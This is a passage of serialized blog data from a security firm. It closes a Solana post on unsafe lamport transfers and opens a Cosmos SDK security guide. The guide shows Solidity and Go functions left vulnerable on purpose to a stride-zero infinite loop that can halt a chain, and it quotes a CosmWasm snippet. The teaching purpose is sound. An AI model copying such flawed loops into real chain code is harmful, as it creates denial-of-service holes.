secp256r1_program::id());\n",{"type":21,"tag":22,"props":76223,"children":76224},{},[76225,76227,76232],{"type":26,"value":76226},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":21,"tag":66,"props":76228,"children":76230},{"className":76229},[],[76231],{"type":26,"value":76068},{"type":26,"value":76233}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":21,"tag":19318,"props":76235,"children":76237},{"id":76236},"attempt-2-use-a-pda-vault",[76238],{"type":26,"value":76239},"Attempt 2: Use a PDA Vault",{"type":21,"tag":22,"props":76241,"children":76242},{},[76243,76245,76250],{"type":26,"value":76244},"A more future-proof fix is to avoid ",{"type":21,"tag":873,"props":76246,"children":76247},{},[76248],{"type":26,"value":76249},"transferring lamports to arbitrary accounts",{"type":26,"value":76251}," altogether.",{"type":21,"tag":22,"props":76253,"children":76254},{},[76255],{"type":26,"value":76256},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":21,"tag":54,"props":76258,"children":76260},{"id":76259},"final-thoughts",[76261],{"type":26,"value":76262},"Final Thoughts",{"type":21,"tag":22,"props":76264,"children":76265},{},[76266],{"type":26,"value":76267},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":21,"tag":22,"props":76269,"children":76270},{},[76271],{"type":26,"value":76272},"We can safely transfer lamports to an account under the following conditions:",{"type":21,"tag":17108,"props":76274,"children":76275},{},[76276,76281,76286],{"type":21,"tag":845,"props":76277,"children":76278},{},[76279],{"type":26,"value":76280},"It's not executable.",{"type":21,"tag":845,"props":76282,"children":76283},{},[76284],{"type":26,"value":76285},"Its balance, after the transfer, remains rent-exempt.",{"type":21,"tag":845,"props":76287,"children":76288},{},[76289],{"type":26,"value":76290},"It's not a reserved account.",{"type":21,"tag":22,"props":76292,"children":76293},{},[76294],{"type":26,"value":76295},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":21,"tag":3632,"props":76297,"children":76298},{},[76299],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":76301},[76302,76303,76304,76310],{"id":29458,"depth":98,"text":29461},{"id":71684,"depth":98,"text":71687},{"id":72791,"depth":98,"text":72794,"children":76305},[76306,76307,76309],{"id":72797,"depth":151,"text":72800},{"id":73484,"depth":151,"text":76308},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":74789,"depth":151,"text":74792},{"id":76259,"depth":98,"text":76262},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":76315,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":76316,"description":76317,"date":76318,"author":76319,"image":76320,"isFeatured":16,"onBlogPage":16,"tags":76322,"body":76325,"_type":3642,"_id":90210,"_source":3644,"_file":90211,"_stem":90212,"_extension":3647},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":76321,"width":14041,"height":14041},"/posts/cosmos-security/title.png",[76323,76324],"cosmos-sdk","security",{"type":18,"children":76326,"toc":90188},[76327,76331,76336,76341,76347,76352,76357,76362,76623,77112,77131,77136,77141,77146,77152,77157,77192,77202,77709,77729,77742,77748,77753,77758,77999,78004,78012,78024,78386,78391,78396,78432,78441,78867,78888,78894,78914,78935,78954,78986,78998,79010,79664,79692,79701,80141,80168,80188,80193,80214,80263,80272,81504,81532,81538,81543,81548,81568,81855,81889,82070,82075,82080,82124,82133,83325,83576,83589,83595,83629,83634,83697,83702,83722,83741,83753,83772,84464,84469,84474,84502,84511,85396,85423,85429,85449,85454,85467,85641,85654,85745,85750,85758,85768,85918,85923,85943,85951,85956,86354,86366,86371,86412,86423,86443,86751,86756,87681,87693,87701,87706,88699,88704,88716,88736,88755,89669,89726,89832,89844,89849,89854,89882,89891,90117,90143,90156,90170,90174,90179,90184],{"type":21,"tag":54,"props":76328,"children":76329},{"id":29458},[76330],{"type":26,"value":29461},{"type":21,"tag":22,"props":76332,"children":76333},{},[76334],{"type":26,"value":76335},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":21,"tag":22,"props":76337,"children":76338},{},[76339],{"type":26,"value":76340},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":21,"tag":54,"props":76342,"children":76344},{"id":76343},"its-loopin-time",[76345],{"type":26,"value":76346},"It's Loopin' Time",{"type":21,"tag":22,"props":76348,"children":76349},{},[76350],{"type":26,"value":76351},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":21,"tag":22,"props":76353,"children":76354},{},[76355],{"type":26,"value":76356},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":21,"tag":22,"props":76358,"children":76359},{},[76360],{"type":26,"value":76361},"Here is a simple example for reference:",{"type":21,"tag":75,"props":76363,"children":76365},{"code":76364,"language":5244,"meta":7,"className":5245,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[76366],{"type":21,"tag":66,"props":76367,"children":76368},{"__ignoreMap":7},[76369,76385,76402,76418,76440,76469,76490,76514,76535,76542,76563,76580,76597,76604,76616],{"type":21,"tag":85,"props":76370,"children":76371},{"class":87,"line":88},[76372,76376,76381],{"type":21,"tag":85,"props":76373,"children":76374},{"style":102},[76375],{"type":26,"value":31822},{"type":21,"tag":85,"props":76377,"children":76378},{"style":1021},[76379],{"type":26,"value":76380}," sumWithStride",{"type":21,"tag":85,"props":76382,"children":76383},{"style":114},[76384],{"type":26,"value":1029},{"type":21,"tag":85,"props":76386,"children":76387},{"class":87,"line":98},[76388,76393,76398],{"type":21,"tag":85,"props":76389,"children":76390},{"style":108},[76391],{"type":26,"value":76392},"    uint64",{"type":21,"tag":85,"props":76394,"children":76395},{"style":120},[76396],{"type":26,"value":76397}," start",{"type":21,"tag":85,"props":76399,"children":76400},{"style":114},[76401],{"type":26,"value":182},{"type":21,"tag":85,"props":76403,"children":76404},{"class":87,"line":151},[76405,76409,76414],{"type":21,"tag":85,"props":76406,"children":76407},{"style":108},[76408],{"type":26,"value":76392},{"type":21,"tag":85,"props":76410,"children":76411},{"style":120},[76412],{"type":26,"value":76413}," stride",{"type":21,"tag":85,"props":76415,"children":76416},{"style":114},[76417],{"type":26,"value":182},{"type":21,"tag":85,"props":76419,"children":76420},{"class":87,"line":160},[76421,76425,76430,76435],{"type":21,"tag":85,"props":76422,"children":76423},{"style":108},[76424],{"type":26,"value":76392},{"type":21,"tag":85,"props":76426,"children":76427},{"style":114},[76428],{"type":26,"value":76429},"[] ",{"type":21,"tag":85,"props":76431,"children":76432},{"style":102},[76433],{"type":26,"value":76434},"memory",{"type":21,"tag":85,"props":76436,"children":76437},{"style":120},[76438],{"type":26,"value":76439}," arr\n",{"type":21,"tag":85,"props":76441,"children":76442},{"class":87,"line":185},[76443,76447,76451,76456,76460,76465],{"type":21,"tag":85,"props":76444,"children":76445},{"style":114},[76446],{"type":26,"value":736},{"type":21,"tag":85,"props":76448,"children":76449},{"style":102},[76450],{"type":26,"value":62133},{"type":21,"tag":85,"props":76452,"children":76453},{"style":2885},[76454],{"type":26,"value":76455}," returns",{"type":21,"tag":85,"props":76457,"children":76458},{"style":114},[76459],{"type":26,"value":717},{"type":21,"tag":85,"props":76461,"children":76462},{"style":108},[76463],{"type":26,"value":76464},"uint64",{"type":21,"tag":85,"props":76466,"children":76467},{"style":114},[76468],{"type":26,"value":15222},{"type":21,"tag":85,"props":76470,"children":76471},{"class":87,"line":501},[76472,76476,76481,76485],{"type":21,"tag":85,"props":76473,"children":76474},{"style":108},[76475],{"type":26,"value":76392},{"type":21,"tag":85,"props":76477,"children":76478},{"style":114},[76479],{"type":26,"value":76480}," idx ",{"type":21,"tag":85,"props":76482,"children":76483},{"style":169},[76484],{"type":26,"value":741},{"type":21,"tag":85,"props":76486,"children":76487},{"style":114},[76488],{"type":26,"value":76489}," start;\n",{"type":21,"tag":85,"props":76491,"children":76492},{"class":87,"line":697},[76493,76497,76502,76506,76510],{"type":21,"tag":85,"props":76494,"children":76495},{"style":108},[76496],{"type":26,"value":76392},{"type":21,"tag":85,"props":76498,"children":76499},{"style":114},[76500],{"type":26,"value":76501}," sum ",{"type":21,"tag":85,"props":76503,"children":76504},{"style":169},[76505],{"type":26,"value":741},{"type":21,"tag":85,"props":76507,"children":76508},{"style":2285},[76509],{"type":26,"value":2830},{"type":21,"tag":85,"props":76511,"children":76512},{"style":114},[76513],{"type":26,"value":2535},{"type":21,"tag":85,"props":76515,"children":76516},{"class":87,"line":706},[76517,76521,76526,76530],{"type":21,"tag":85,"props":76518,"children":76519},{"style":108},[76520],{"type":26,"value":76392},{"type":21,"tag":85,"props":76522,"children":76523},{"style":114},[76524],{"type":26,"value":76525}," end ",{"type":21,"tag":85,"props":76527,"children":76528},{"style":169},[76529],{"type":26,"value":741},{"type":21,"tag":85,"props":76531,"children":76532},{"style":114},[76533],{"type":26,"value":76534}," arr.length;\n",{"type":21,"tag":85,"props":76536,"children":76537},{"class":87,"line":1100},[76538],{"type":21,"tag":85,"props":76539,"children":76540},{"emptyLinePlaceholder":16},[76541],{"type":26,"value":703},{"type":21,"tag":85,"props":76543,"children":76544},{"class":87,"line":1339},[76545,76549,76554,76558],{"type":21,"tag":85,"props":76546,"children":76547},{"style":2885},[76548],{"type":26,"value":64832},{"type":21,"tag":85,"props":76550,"children":76551},{"style":114},[76552],{"type":26,"value":76553}," (idx ",{"type":21,"tag":85,"props":76555,"children":76556},{"style":169},[76557],{"type":26,"value":117},{"type":21,"tag":85,"props":76559,"children":76560},{"style":114},[76561],{"type":26,"value":76562}," end) {\n",{"type":21,"tag":85,"props":76564,"children":76565},{"class":87,"line":1348},[76566,76571,76575],{"type":21,"tag":85,"props":76567,"children":76568},{"style":114},[76569],{"type":26,"value":76570},"        sum ",{"type":21,"tag":85,"props":76572,"children":76573},{"style":169},[76574],{"type":26,"value":68897},{"type":21,"tag":85,"props":76576,"children":76577},{"style":114},[76578],{"type":26,"value":76579}," arr[idx];\n",{"type":21,"tag":85,"props":76581,"children":76582},{"class":87,"line":1386},[76583,76588,76592],{"type":21,"tag":85,"props":76584,"children":76585},{"style":114},[76586],{"type":26,"value":76587},"        idx ",{"type":21,"tag":85,"props":76589,"children":76590},{"style":169},[76591],{"type":26,"value":68897},{"type":21,"tag":85,"props":76593,"children":76594},{"style":114},[76595],{"type":26,"value":76596}," stride;\n",{"type":21,"tag":85,"props":76598,"children":76599},{"class":87,"line":1394},[76600],{"type":21,"tag":85,"props":76601,"children":76602},{"style":114},[76603],{"type":26,"value":507},{"type":21,"tag":85,"props":76605,"children":76606},{"class":87,"line":1402},[76607,76611],{"type":21,"tag":85,"props":76608,"children":76609},{"style":2885},[76610],{"type":26,"value":17411},{"type":21,"tag":85,"props":76612,"children":76613},{"style":114},[76614],{"type":26,"value":76615}," sum;\n",{"type":21,"tag":85,"props":76617,"children":76618},{"class":87,"line":3145},[76619],{"type":21,"tag":85,"props":76620,"children":76621},{"style":114},[76622],{"type":26,"value":2671},{"type":21,"tag":75,"props":76624,"children":76628},{"code":76625,"language":76626,"meta":7,"className":76627,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[76629],{"type":21,"tag":66,"props":76630,"children":76631},{"__ignoreMap":7},[76632,76652,76665,76677,76695,76702,76709,76729,76741,76748,76755,76790,76816,76837,76866,76896,76941,77018,77054,77061,77105],{"type":21,"tag":85,"props":76633,"children":76634},{"class":87,"line":88},[76635,76639,76644,76648],{"type":21,"tag":85,"props":76636,"children":76637},{"style":102},[76638],{"type":26,"value":33202},{"type":21,"tag":85,"props":76640,"children":76641},{"style":108},[76642],{"type":26,"value":76643}," MsgSumWithStrideParams",{"type":21,"tag":85,"props":76645,"children":76646},{"style":102},[76647],{"type":26,"value":21579},{"type":21,"tag":85,"props":76649,"children":76650},{"style":114},[76651],{"type":26,"value":148},{"type":21,"tag":85,"props":76653,"children":76654},{"class":87,"line":98},[76655,76660],{"type":21,"tag":85,"props":76656,"children":76657},{"style":120},[76658],{"type":26,"value":76659},"    Start",{"type":21,"tag":85,"props":76661,"children":76662},{"style":108},[76663],{"type":26,"value":76664}," uint64\n",{"type":21,"tag":85,"props":76666,"children":76667},{"class":87,"line":151},[76668,76673],{"type":21,"tag":85,"props":76669,"children":76670},{"style":120},[76671],{"type":26,"value":76672},"    Stride",{"type":21,"tag":85,"props":76674,"children":76675},{"style":108},[76676],{"type":26,"value":76664},{"type":21,"tag":85,"props":76678,"children":76679},{"class":87,"line":160},[76680,76685,76690],{"type":21,"tag":85,"props":76681,"children":76682},{"style":120},[76683],{"type":26,"value":76684},"    Arr",{"type":21,"tag":85,"props":76686,"children":76687},{"style":114},[76688],{"type":26,"value":76689}," []",{"type":21,"tag":85,"props":76691,"children":76692},{"style":108},[76693],{"type":26,"value":76694},"uint64\n",{"type":21,"tag":85,"props":76696,"children":76697},{"class":87,"line":185},[76698],{"type":21,"tag":85,"props":76699,"children":76700},{"style":114},[76701],{"type":26,"value":2671},{"type":21,"tag":85,"props":76703,"children":76704},{"class":87,"line":501},[76705],{"type":21,"tag":85,"props":76706,"children":76707},{"emptyLinePlaceholder":16},[76708],{"type":26,"value":703},{"type":21,"tag":85,"props":76710,"children":76711},{"class":87,"line":697},[76712,76716,76721,76725],{"type":21,"tag":85,"props":76713,"children":76714},{"style":102},[76715],{"type":26,"value":33202},{"type":21,"tag":85,"props":76717,"children":76718},{"style":108},[76719],{"type":26,"value":76720}," MsgSumWithStrideResponse",{"type":21,"tag":85,"props":76722,"children":76723},{"style":102},[76724],{"type":26,"value":21579},{"type":21,"tag":85,"props":76726,"children":76727},{"style":114},[76728],{"type":26,"value":148},{"type":21,"tag":85,"props":76730,"children":76731},{"class":87,"line":706},[76732,76737],{"type":21,"tag":85,"props":76733,"children":76734},{"style":120},[76735],{"type":26,"value":76736},"    Sum",{"type":21,"tag":85,"props":76738,"children":76739},{"style":108},[76740],{"type":26,"value":76664},{"type":21,"tag":85,"props":76742,"children":76743},{"class":87,"line":1100},[76744],{"type":21,"tag":85,"props":76745,"children":76746},{"style":114},[76747],{"type":26,"value":2671},{"type":21,"tag":85,"props":76749,"children":76750},{"class":87,"line":1339},[76751],{"type":21,"tag":85,"props":76752,"children":76753},{"emptyLinePlaceholder":16},[76754],{"type":26,"value":703},{"type":21,"tag":85,"props":76756,"children":76757},{"class":87,"line":1348},[76758,76763,76767,76772,76777,76781,76786],{"type":21,"tag":85,"props":76759,"children":76760},{"style":102},[76761],{"type":26,"value":76762},"func",{"type":21,"tag":85,"props":76764,"children":76765},{"style":114},[76766],{"type":26,"value":717},{"type":21,"tag":85,"props":76768,"children":76769},{"style":120},[76770],{"type":26,"value":76771},"ms ",{"type":21,"tag":85,"props":76773,"children":76774},{"style":108},[76775],{"type":26,"value":76776},"msgServer",{"type":21,"tag":85,"props":76778,"children":76779},{"style":114},[76780],{"type":26,"value":736},{"type":21,"tag":85,"props":76782,"children":76783},{"style":1021},[76784],{"type":26,"value":76785},"SumWithStride",{"type":21,"tag":85,"props":76787,"children":76788},{"style":114},[76789],{"type":26,"value":1029},{"type":21,"tag":85,"props":76791,"children":76792},{"class":87,"line":1386},[76793,76798,76803,76807,76812],{"type":21,"tag":85,"props":76794,"children":76795},{"style":120},[76796],{"type":26,"value":76797},"    goCtx",{"type":21,"tag":85,"props":76799,"children":76800},{"style":108},[76801],{"type":26,"value":76802}," context",{"type":21,"tag":85,"props":76804,"children":76805},{"style":114},[76806],{"type":26,"value":73},{"type":21,"tag":85,"props":76808,"children":76809},{"style":108},[76810],{"type":26,"value":76811},"Context",{"type":21,"tag":85,"props":76813,"children":76814},{"style":114},[76815],{"type":26,"value":182},{"type":21,"tag":85,"props":76817,"children":76818},{"class":87,"line":1394},[76819,76824,76828,76833],{"type":21,"tag":85,"props":76820,"children":76821},{"style":120},[76822],{"type":26,"value":76823},"    msg",{"type":21,"tag":85,"props":76825,"children":76826},{"style":169},[76827],{"type":26,"value":10231},{"type":21,"tag":85,"props":76829,"children":76830},{"style":108},[76831],{"type":26,"value":76832},"MsgSumWithStrideParams",{"type":21,"tag":85,"props":76834,"children":76835},{"style":114},[76836],{"type":26,"value":182},{"type":21,"tag":85,"props":76838,"children":76839},{"class":87,"line":1402},[76840,76845,76849,76854,76858,76862],{"type":21,"tag":85,"props":76841,"children":76842},{"style":114},[76843],{"type":26,"value":76844},") (",{"type":21,"tag":85,"props":76846,"children":76847},{"style":169},[76848],{"type":26,"value":3052},{"type":21,"tag":85,"props":76850,"children":76851},{"style":108},[76852],{"type":26,"value":76853},"MsgSumWithStrideResponse",{"type":21,"tag":85,"props":76855,"children":76856},{"style":114},[76857],{"type":26,"value":256},{"type":21,"tag":85,"props":76859,"children":76860},{"style":108},[76861],{"type":26,"value":15282},{"type":21,"tag":85,"props":76863,"children":76864},{"style":114},[76865],{"type":26,"value":15222},{"type":21,"tag":85,"props":76867,"children":76868},{"class":87,"line":3145},[76869,76874,76879,76884,76888,76892],{"type":21,"tag":85,"props":76870,"children":76871},{"style":120},[76872],{"type":26,"value":76873},"    sum",{"type":21,"tag":85,"props":76875,"children":76876},{"style":169},[76877],{"type":26,"value":76878}," :=",{"type":21,"tag":85,"props":76880,"children":76881},{"style":108},[76882],{"type":26,"value":76883}," uint64",{"type":21,"tag":85,"props":76885,"children":76886},{"style":114},[76887],{"type":26,"value":1439},{"type":21,"tag":85,"props":76889,"children":76890},{"style":2285},[76891],{"type":26,"value":4789},{"type":21,"tag":85,"props":76893,"children":76894},{"style":114},[76895],{"type":26,"value":2485},{"type":21,"tag":85,"props":76897,"children":76898},{"class":87,"line":3246},[76899,76904,76908,76912,76916,76920,76924,76928,76932,76937],{"type":21,"tag":85,"props":76900,"children":76901},{"style":120},[76902],{"type":26,"value":76903},"    end",{"type":21,"tag":85,"props":76905,"children":76906},{"style":169},[76907],{"type":26,"value":76878},{"type":21,"tag":85,"props":76909,"children":76910},{"style":108},[76911],{"type":26,"value":76883},{"type":21,"tag":85,"props":76913,"children":76914},{"style":114},[76915],{"type":26,"value":1439},{"type":21,"tag":85,"props":76917,"children":76918},{"style":1021},[76919],{"type":26,"value":3520},{"type":21,"tag":85,"props":76921,"children":76922},{"style":114},[76923],{"type":26,"value":1439},{"type":21,"tag":85,"props":76925,"children":76926},{"style":120},[76927],{"type":26,"value":58403},{"type":21,"tag":85,"props":76929,"children":76930},{"style":114},[76931],{"type":26,"value":73},{"type":21,"tag":85,"props":76933,"children":76934},{"style":120},[76935],{"type":26,"value":76936},"Arr",{"type":21,"tag":85,"props":76938,"children":76939},{"style":114},[76940],{"type":26,"value":20139},{"type":21,"tag":85,"props":76942,"children":76943},{"class":87,"line":3255},[76944,76948,76953,76957,76962,76966,76971,76975,76980,76984,76989,76993,76997,77001,77005,77009,77014],{"type":21,"tag":85,"props":76945,"children":76946},{"style":2885},[76947],{"type":26,"value":3809},{"type":21,"tag":85,"props":76949,"children":76950},{"style":120},[76951],{"type":26,"value":76952}," idx",{"type":21,"tag":85,"props":76954,"children":76955},{"style":169},[76956],{"type":26,"value":76878},{"type":21,"tag":85,"props":76958,"children":76959},{"style":120},[76960],{"type":26,"value":76961}," msg",{"type":21,"tag":85,"props":76963,"children":76964},{"style":114},[76965],{"type":26,"value":73},{"type":21,"tag":85,"props":76967,"children":76968},{"style":120},[76969],{"type":26,"value":76970},"Start",{"type":21,"tag":85,"props":76972,"children":76973},{"style":114},[76974],{"type":26,"value":17649},{"type":21,"tag":85,"props":76976,"children":76977},{"style":120},[76978],{"type":26,"value":76979},"idx",{"type":21,"tag":85,"props":76981,"children":76982},{"style":169},[76983],{"type":26,"value":3085},{"type":21,"tag":85,"props":76985,"children":76986},{"style":120},[76987],{"type":26,"value":76988}," end",{"type":21,"tag":85,"props":76990,"children":76991},{"style":114},[76992],{"type":26,"value":17649},{"type":21,"tag":85,"props":76994,"children":76995},{"style":120},[76996],{"type":26,"value":76979},{"type":21,"tag":85,"props":76998,"children":76999},{"style":169},[77000],{"type":26,"value":15483},{"type":21,"tag":85,"props":77002,"children":77003},{"style":120},[77004],{"type":26,"value":76961},{"type":21,"tag":85,"props":77006,"children":77007},{"style":114},[77008],{"type":26,"value":73},{"type":21,"tag":85,"props":77010,"children":77011},{"style":120},[77012],{"type":26,"value":77013},"Stride",{"type":21,"tag":85,"props":77015,"children":77016},{"style":114},[77017],{"type":26,"value":148},{"type":21,"tag":85,"props":77019,"children":77020},{"class":87,"line":3286},[77021,77026,77030,77034,77038,77042,77046,77050],{"type":21,"tag":85,"props":77022,"children":77023},{"style":120},[77024],{"type":26,"value":77025},"        sum",{"type":21,"tag":85,"props":77027,"children":77028},{"style":169},[77029],{"type":26,"value":15483},{"type":21,"tag":85,"props":77031,"children":77032},{"style":120},[77033],{"type":26,"value":76961},{"type":21,"tag":85,"props":77035,"children":77036},{"style":114},[77037],{"type":26,"value":73},{"type":21,"tag":85,"props":77039,"children":77040},{"style":120},[77041],{"type":26,"value":76936},{"type":21,"tag":85,"props":77043,"children":77044},{"style":114},[77045],{"type":26,"value":3016},{"type":21,"tag":85,"props":77047,"children":77048},{"style":120},[77049],{"type":26,"value":76979},{"type":21,"tag":85,"props":77051,"children":77052},{"style":114},[77053],{"type":26,"value":12189},{"type":21,"tag":85,"props":77055,"children":77056},{"class":87,"line":3295},[77057],{"type":21,"tag":85,"props":77058,"children":77059},{"style":114},[77060],{"type":26,"value":507},{"type":21,"tag":85,"props":77062,"children":77063},{"class":87,"line":3308},[77064,77068,77072,77076,77081,77086,77090,77095,77100],{"type":21,"tag":85,"props":77065,"children":77066},{"style":2885},[77067],{"type":26,"value":17411},{"type":21,"tag":85,"props":77069,"children":77070},{"style":169},[77071],{"type":26,"value":1487},{"type":21,"tag":85,"props":77073,"children":77074},{"style":108},[77075],{"type":26,"value":76853},{"type":21,"tag":85,"props":77077,"children":77078},{"style":114},[77079],{"type":26,"value":77080},"{",{"type":21,"tag":85,"props":77082,"children":77083},{"style":120},[77084],{"type":26,"value":77085},"Sum",{"type":21,"tag":85,"props":77087,"children":77088},{"style":114},[77089],{"type":26,"value":15750},{"type":21,"tag":85,"props":77091,"children":77092},{"style":120},[77093],{"type":26,"value":77094},"sum",{"type":21,"tag":85,"props":77096,"children":77097},{"style":114},[77098],{"type":26,"value":77099},"}, ",{"type":21,"tag":85,"props":77101,"children":77102},{"style":102},[77103],{"type":26,"value":77104},"nil\n",{"type":21,"tag":85,"props":77106,"children":77107},{"class":87,"line":3333},[77108],{"type":21,"tag":85,"props":77109,"children":77110},{"style":114},[77111],{"type":26,"value":2671},{"type":21,"tag":22,"props":77113,"children":77114},{},[77115,77117,77122,77123,77129],{"type":26,"value":77116},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":21,"tag":66,"props":77118,"children":77120},{"className":77119},[],[77121],{"type":26,"value":76979},{"type":26,"value":1660},{"type":21,"tag":66,"props":77124,"children":77126},{"className":77125},[],[77127],{"type":26,"value":77128},"stride",{"type":26,"value":77130},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":21,"tag":22,"props":77132,"children":77133},{},[77134],{"type":26,"value":77135},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":21,"tag":22,"props":77137,"children":77138},{},[77139],{"type":26,"value":77140},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":21,"tag":22,"props":77142,"children":77143},{},[77144],{"type":26,"value":77145},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":21,"tag":10022,"props":77147,"children":77149},{"id":77148},"real-world-examples",[77150],{"type":26,"value":77151},"Real-World Examples",{"type":21,"tag":22,"props":77153,"children":77154},{},[77155],{"type":26,"value":77156},"Now, let's examine a few real-world instances.",{"type":21,"tag":22,"props":77158,"children":77159},{},[77160,77162,77168,77169,77175,77177,77183,77185,77191],{"type":26,"value":77161},"In the case of ",{"type":21,"tag":335,"props":77163,"children":77166},{"href":77164,"rel":77165},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[339],[77167],{"type":26,"value":18116},{"type":26,"value":790},{"type":21,"tag":66,"props":77170,"children":77172},{"className":77171},[],[77173],{"type":26,"value":77174},"CosmWasm",{"type":26,"value":77176}," bug, the helper method ",{"type":21,"tag":66,"props":77178,"children":77180},{"className":77179},[],[77181],{"type":26,"value":77182},"write_to_contract",{"type":26,"value":77184}," negligently calls the untrusted Wasm function ",{"type":21,"tag":66,"props":77186,"children":77188},{"className":77187},[],[77189],{"type":26,"value":77190},"\"allocate\"",{"type":26,"value":73},{"type":21,"tag":22,"props":77193,"children":77194},{},[77195],{"type":21,"tag":335,"props":77196,"children":77199},{"href":77197,"rel":77198},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[339],[77200],{"type":26,"value":77201},"Permalink for snippet",{"type":21,"tag":75,"props":77203,"children":77205},{"code":77204,"language":79,"meta":7,"className":77,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[77206],{"type":21,"tag":66,"props":77207,"children":77208},{"__ignoreMap":7},[77209,77278,77326,77354,77383,77432,77506,77551,77574,77619,77626,77683,77702],{"type":21,"tag":85,"props":77210,"children":77211},{"class":87,"line":88},[77212,77216,77221,77225,77230,77234,77239,77243,77247,77251,77256,77260,77265,77269,77274],{"type":21,"tag":85,"props":77213,"children":77214},{"style":102},[77215],{"type":26,"value":20694},{"type":21,"tag":85,"props":77217,"children":77218},{"style":1021},[77219],{"type":26,"value":77220}," write_to_contract",{"type":21,"tag":85,"props":77222,"children":77223},{"style":114},[77224],{"type":26,"value":117},{"type":21,"tag":85,"props":77226,"children":77227},{"style":108},[77228],{"type":26,"value":77229},"A",{"type":21,"tag":85,"props":77231,"children":77232},{"style":169},[77233],{"type":26,"value":172},{"type":21,"tag":85,"props":77235,"children":77236},{"style":108},[77237],{"type":26,"value":77238}," BackendApi",{"type":21,"tag":85,"props":77240,"children":77241},{"style":114},[77242],{"type":26,"value":256},{"type":21,"tag":85,"props":77244,"children":77245},{"style":108},[77246],{"type":26,"value":22478},{"type":21,"tag":85,"props":77248,"children":77249},{"style":169},[77250],{"type":26,"value":172},{"type":21,"tag":85,"props":77252,"children":77253},{"style":108},[77254],{"type":26,"value":77255}," Storage",{"type":21,"tag":85,"props":77257,"children":77258},{"style":114},[77259],{"type":26,"value":256},{"type":21,"tag":85,"props":77261,"children":77262},{"style":108},[77263],{"type":26,"value":77264},"Q",{"type":21,"tag":85,"props":77266,"children":77267},{"style":169},[77268],{"type":26,"value":172},{"type":21,"tag":85,"props":77270,"children":77271},{"style":108},[77272],{"type":26,"value":77273}," 